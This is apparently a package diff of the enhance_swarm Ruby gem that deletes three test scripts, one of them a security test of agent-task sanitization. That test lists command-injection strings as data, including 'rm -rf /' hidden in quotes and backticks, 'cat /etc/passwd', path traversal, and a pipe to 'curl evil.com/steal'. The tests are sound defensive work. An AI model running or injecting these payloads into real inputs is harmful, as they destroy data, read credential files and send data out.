enhance_swarm 1.0.0 → 2.1.0

data/test_security.rb

@@ -1,150 +0,0 @@
-#!/usr/bin/env ruby
-# Security test for agent spawning
-
-$LOAD_PATH.unshift File.expand_path('lib', __dir__)
-require 'enhance_swarm'
-
-def test_security_vulnerabilities
-  puts "🔒 Security Vulnerability Tests"
-  puts "=" * 40
-
-  results = []
-
-  # Test 1: Command injection in task description
-  puts "\n1️⃣  Testing Command Injection in Task Description..."
-  
-  malicious_tasks = [
-    'test"; rm -rf /; echo "pwned',
-    'test`rm -rf /`test',
-    'test$(rm -rf /)test',
-    'test; cat /etc/passwd',
-    'test && echo "hack" > /tmp/hacked',
-    'test | curl evil.com/steal'
-  ]
-
-  spawner = EnhanceSwarm::AgentSpawner.new
-  
-  malicious_tasks.each_with_index do |task, i|
-    puts "   Testing: #{task[0..30]}..."
-    
-    begin
-      # Test sanitization
-      safe_task = spawner.send(:sanitize_task_description, task)
-      
-      # Check if dangerous characters were removed
-      dangerous_chars = ['`', '$', ';', '&', '|']
-      has_dangerous = dangerous_chars.any? { |char| safe_task.include?(char) }
-      
-      if has_dangerous
-        puts "   ❌ FAIL: Dangerous characters not removed from: #{safe_task}"
-        results << { test: "Command injection #{i+1}", status: "❌ FAIL" }
-      else
-        puts "   ✅ PASS: Task sanitized to: #{safe_task}"
-        results << { test: "Command injection #{i+1}", status: "✅ PASS" }
-      end
-      
-    rescue => e
-      puts "   ❌ ERROR: #{e.message}"
-      results << { test: "Command injection #{i+1}", status: "❌ ERROR" }
-    end
-  end
-
-  # Test 2: Role validation
-  puts "\n2️⃣  Testing Role Validation..."
-  
-  malicious_roles = [
-    '../../../etc/passwd',
-    'admin; rm -rf /',
-    '`cat /etc/passwd`',
-    'unknown_role',
-    nil,
-    ''
-  ]
-
-  malicious_roles.each_with_index do |role, i|
-    puts "   Testing role: #{role.inspect}"
-    
-    begin
-      safe_role = spawner.send(:sanitize_role, role)
-      
-      # Should only allow known safe roles
-      safe_roles = %w[ux backend frontend qa general]
-      
-      if safe_roles.include?(safe_role)
-        puts "   ✅ PASS: Role sanitized to: #{safe_role}"
-        results << { test: "Role validation #{i+1}", status: "✅ PASS" }
-      else
-        puts "   ❌ FAIL: Unsafe role allowed: #{safe_role}"
-        results << { test: "Role validation #{i+1}", status: "❌ FAIL" }
-      end
-      
-    rescue => e
-      puts "   ❌ ERROR: #{e.message}"
-      results << { test: "Role validation #{i+1}", status: "❌ ERROR" }
-    end
-  end
-
-  # Test 3: Script generation safety
-  puts "\n3️⃣  Testing Script Generation Safety..."
-  
-  begin
-    # Test with potentially dangerous prompt
-    dangerous_prompt = 'test"; echo "hacked" > /tmp/pwned; echo "'
-    script_path = spawner.send(:create_agent_script, dangerous_prompt, 'backend', '/tmp')
-    
-    if File.exist?(script_path)
-      script_content = File.read(script_path)
-      
-      # Check if the dangerous content is properly quoted in heredoc
-      if script_content.include?("'EOF'") && script_content.include?('cat > "$PROMPT_FILE" << \'EOF\'')
-        puts "   ✅ PASS: Script uses safe heredoc with single quotes"
-        results << { test: "Script generation safety", status: "✅ PASS" }
-      else
-        puts "   ❌ FAIL: Script may be vulnerable to injection"
-        puts "   Script preview: #{script_content[0..200]}..."
-        results << { test: "Script generation safety", status: "❌ FAIL" }
-      end
-      
-      # Cleanup
-      File.delete(script_path) if File.exist?(script_path)
-    else
-      puts "   ❌ ERROR: Failed to create script"
-      results << { test: "Script generation safety", status: "❌ ERROR" }
-    end
-    
-  rescue => e
-    puts "   ❌ ERROR: #{e.message}"
-    results << { test: "Script generation safety", status: "❌ ERROR" }
-  end
-
-  # Results summary
-  puts "\n" + "=" * 40
-  puts "🔒 SECURITY TEST RESULTS"
-  puts "=" * 40
-
-  passed = results.count { |r| r[:status].include?("✅") }
-  total = results.length
-  
-  results.each do |result|
-    puts "   #{result[:status]} #{result[:test]}"
-  end
-
-  puts "\n📊 Security Test Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
-  
-  if passed == total && total > 0
-    puts "\n🛡️  ALL SECURITY TESTS PASSED!"
-    puts "   ✅ Command injection protection working"
-    puts "   ✅ Role validation working"  
-    puts "   ✅ Script generation is safe"
-  else
-    puts "\n⚠️  SECURITY ISSUES DETECTED!"
-    puts "   Review failed tests and address vulnerabilities"
-  end
-  
-  passed == total && total > 0
-end
-
-if __FILE__ == $0
-  success = test_security_vulnerabilities
-  exit(success ? 0 : 1)
-end

data/test_smart_defaults.rb

@@ -1,155 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-# Test script for smart defaults functionality
-
-require_relative 'lib/enhance_swarm'
-
-def test_smart_defaults
-  puts "🧪 Testing Smart Defaults Functionality"
-  puts "=" * 50
-
-  # Test in current directory (enhance_swarm gem project)
-  puts "\n📁 Testing in current directory (enhance_swarm gem):"
-  
-  begin
-    # Remove config file temporarily if it exists
-    config_path = File.join(Dir.pwd, '.enhance_swarm.yml')
-    backup_path = "#{config_path}.backup"
-    
-    if File.exist?(config_path)
-      FileUtils.mv(config_path, backup_path)
-      puts "   Backed up existing config file"
-    end
-
-    # Create configuration with smart defaults
-    config = EnhanceSwarm::Configuration.new
-    
-    puts "   ✅ Configuration created successfully"
-    puts "   📊 Smart defaults applied:"
-    puts "      Project Name: #{config.project_name}"
-    puts "      Description: #{config.project_description}"
-    puts "      Technology Stack: #{config.technology_stack}"
-    puts "      Test Command: #{config.test_command}"
-    puts "      Max Agents: #{config.max_concurrent_agents}"
-    puts "      Code Standards: #{config.code_standards.first(2).join(', ')}..."
-    puts "      Important Notes: #{config.important_notes.length} detected"
-    
-    if config.important_notes.any?
-      puts "      First Note: #{config.important_notes.first}"
-    end
-
-    # Test project analyzer directly
-    puts "\n🔍 Testing ProjectAnalyzer directly:"
-    analyzer = EnhanceSwarm::ProjectAnalyzer.new
-    results = analyzer.analyze
-    
-    puts "      Project Type: #{results[:project_type]}"
-    puts "      Technology Stack: #{results[:technology_stack].join(', ')}"
-    puts "      Testing Frameworks: #{results[:testing_framework].join(', ')}"
-    puts "      Build Systems: #{results[:build_system].join(', ')}"
-    puts "      Has Documentation: #{results[:documentation][:has_docs]}"
-    puts "      Documentation Path: #{results[:documentation][:primary_path]}"
-    puts "      Recommended Agents: #{results[:recommended_agents].join(', ')}"
-    
-    # Test smart commands
-    smart_commands = results[:smart_commands]
-    puts "      Smart Commands:"
-    smart_commands.each do |type, command|
-      puts "        #{type.to_s.capitalize}: #{command}" if command
-    end
-
-    # Restore config file if it existed
-    if File.exist?(backup_path)
-      FileUtils.mv(backup_path, config_path)
-      puts "   Restored original config file"
-    end
-
-    puts "\n✅ Smart defaults test completed successfully!"
-    
-  rescue StandardError => e
-    puts "\n❌ Error testing smart defaults: #{e.message}"
-    puts e.backtrace.first(5).join("\n")
-    
-    # Restore config file on error
-    if File.exist?(backup_path)
-      FileUtils.mv(backup_path, config_path)
-      puts "   Restored original config file after error"
-    end
-    
-    return false
-  end
-  
-  true
-end
-
-def test_different_project_types
-  puts "\n🎯 Testing Different Project Type Detection:"
-  puts "=" * 50
-  
-  # Test various project signatures
-  test_cases = [
-    {
-      name: "Rails Project",
-      files: ['Gemfile', 'config/application.rb'],
-      expected_type: 'rails'
-    },
-    {
-      name: "React Project", 
-      files: ['package.json'],
-      package_content: { "dependencies" => { "react" => "^18.0.0" } },
-      expected_type: 'react'
-    },
-    {
-      name: "Django Project",
-      files: ['manage.py', 'myapp/settings.py'],
-      expected_type: 'django'
-    }
-  ]
-  
-  test_cases.each do |test_case|
-    puts "\n📋 Testing #{test_case[:name]}:"
-    
-    # Create temporary test directory
-    test_dir = "/tmp/enhance_swarm_test_#{rand(1000)}"
-    Dir.mkdir(test_dir)
-    
-    begin
-      # Create test files
-      test_case[:files].each do |file|
-        file_path = File.join(test_dir, file)
-        FileUtils.mkdir_p(File.dirname(file_path))
-        
-        if file == 'package.json' && test_case[:package_content]
-          File.write(file_path, JSON.pretty_generate(test_case[:package_content]))
-        else
-          File.write(file_path, "# Test file for #{test_case[:name]}")
-        end
-      end
-      
-      # Test analyzer
-      analyzer = EnhanceSwarm::ProjectAnalyzer.new(test_dir)
-      results = analyzer.analyze
-      
-      detected_type = results[:project_type]
-      puts "      Expected: #{test_case[:expected_type]}"
-      puts "      Detected: #{detected_type}"
-      puts "      #{detected_type == test_case[:expected_type] ? '✅' : '❌'} Match"
-      
-    ensure
-      # Cleanup
-      FileUtils.rm_rf(test_dir) if Dir.exist?(test_dir)
-    end
-  end
-end
-
-# Run tests
-puts "🚀 Starting Smart Defaults Tests"
-puts
-
-if test_smart_defaults
-  test_different_project_types
-  puts "\n🎉 All smart defaults tests completed!"
-else
-  puts "\n💥 Smart defaults tests failed!"
-end

data/test_task_integration.rb

@@ -1,173 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-# Test script for swarm-tasks integration
-
-require_relative 'lib/enhance_swarm'
-
-def test_task_integration
-  puts "🧪 Testing Task Integration Functionality"
-  puts "=" * 50
-
-  begin
-    # Test TaskIntegration class directly
-    puts "\n📋 Testing TaskIntegration class:"
-    
-    task_integration = EnhanceSwarm::TaskIntegration.new
-    
-    puts "   ✅ TaskIntegration created successfully"
-    puts "   📊 Swarm Tasks Available: #{task_integration.swarm_tasks_available?}"
-    
-    if task_integration.swarm_tasks_available?
-      puts "   🎯 Testing swarm-tasks commands:"
-      
-      # Test list tasks
-      tasks = task_integration.list_tasks
-      puts "      Found #{tasks.length} tasks"
-      
-      # Test get active tasks
-      active_tasks = task_integration.get_active_tasks
-      puts "      Found #{active_tasks.length} active tasks"
-      
-      # Test get task folders
-      folders = task_integration.get_task_folders
-      puts "      Found #{folders.length} task folders"
-      
-      # Test kanban data
-      kanban_data = task_integration.get_kanban_data
-      puts "      Kanban data structure: #{kanban_data.keys.join(', ')}"
-    else
-      puts "   ⚠️  swarm-tasks not available - testing limited functionality"
-    end
-    
-    # Test orchestrator integration
-    puts "\n🎯 Testing Orchestrator integration:"
-    
-    orchestrator = EnhanceSwarm::Orchestrator.new
-    puts "   ✅ Orchestrator created successfully"
-    
-    task_data = orchestrator.get_task_management_data
-    puts "   📊 Task management data retrieved"
-    puts "      Keys: #{task_data.keys.join(', ')}"
-    
-    # Test setup
-    setup_result = orchestrator.setup_task_management
-    puts "   🔧 Task management setup: #{setup_result ? 'Success' : 'Failed/Limited'}"
-    
-    puts "\n✅ Task integration test completed successfully!"
-    
-  rescue StandardError => e
-    puts "\n❌ Error testing task integration: #{e.message}"
-    puts e.backtrace.first(5).join("\n")
-    return false
-  end
-  
-  true
-end
-
-def test_task_folder_structure
-  puts "\n🗂️  Testing Task Folder Structure:"
-  puts "=" * 50
-  
-  # Create test task directory structure
-  test_tasks_dir = File.join(Dir.pwd, 'test_tasks')
-  
-  begin
-    # Create test structure
-    FileUtils.mkdir_p(test_tasks_dir)
-    
-    # Create standard kanban folders
-    folders = ['todo', 'in_progress', 'review', 'done']
-    folders.each do |folder|
-      folder_path = File.join(test_tasks_dir, folder)
-      FileUtils.mkdir_p(folder_path)
-      
-      # Create some test task files
-      (1..3).each do |i|
-        task_file = File.join(folder_path, "task_#{i}.md")
-        File.write(task_file, "# Test Task #{i}\n\nThis is a test task in #{folder}")
-      end
-    end
-    
-    puts "   ✅ Created test task structure with #{folders.length} folders"
-    puts "   📁 Folders: #{folders.join(', ')}"
-    
-    # Test folder analysis
-    original_dir = Dir.pwd
-    Dir.chdir(File.dirname(test_tasks_dir))
-    
-    # Temporarily rename the test directory to 'tasks' for testing
-    tasks_dir = File.join(File.dirname(test_tasks_dir), 'tasks')
-    FileUtils.mv(test_tasks_dir, tasks_dir) if Dir.exist?(test_tasks_dir)
-    
-    task_integration = EnhanceSwarm::TaskIntegration.new
-    detected_folders = task_integration.get_task_folders
-    
-    puts "   🔍 Detected #{detected_folders.length} task folders:"
-    detected_folders.each do |folder|
-      puts "      #{folder[:name]}: #{folder[:task_count]} tasks (#{folder[:status]})"
-    end
-    
-    Dir.chdir(original_dir)
-    
-    puts "   ✅ Task folder structure test completed!"
-    
-  ensure
-    # Cleanup
-    [test_tasks_dir, tasks_dir].each do |dir|
-      FileUtils.rm_rf(dir) if dir && Dir.exist?(dir)
-    end
-  end
-  
-  true
-end
-
-def test_configuration_with_tasks
-  puts "\n⚙️  Testing Configuration with Task Integration:"
-  puts "=" * 50
-  
-  begin
-    # Test configuration creation with task management
-    config = EnhanceSwarm::Configuration.new
-    
-    puts "   ✅ Configuration created successfully"
-    puts "   📊 Task Command: #{config.task_command}"
-    puts "   📊 Task Move Command: #{config.task_move_command}"
-    
-    # Test orchestrator with configuration
-    orchestrator = EnhanceSwarm::Orchestrator.new
-    puts "   ✅ Orchestrator with task integration created"
-    
-    puts "   ✅ Configuration test completed!"
-    
-  rescue StandardError => e
-    puts "   ❌ Error testing configuration: #{e.message}"
-    return false
-  end
-  
-  true
-end
-
-# Run tests
-puts "🚀 Starting Task Integration Tests"
-puts
-
-if test_task_integration
-  if test_task_folder_structure
-    if test_configuration_with_tasks
-      puts "\n🎉 All task integration tests completed successfully!"
-      puts "\n📋 Summary:"
-      puts "   ✅ TaskIntegration class working"
-      puts "   ✅ Orchestrator integration working"
-      puts "   ✅ Task folder structure detection working"
-      puts "   ✅ Configuration integration working"
-      puts "\n🎯 Ready for UI development with task management features!"
-    else
-      puts "\n💥 Configuration tests failed!"
-    end
-  else
-    puts "\n💥 Task folder tests failed!"
-  end
-else
-  puts "\n💥 Task integration tests failed!"
-end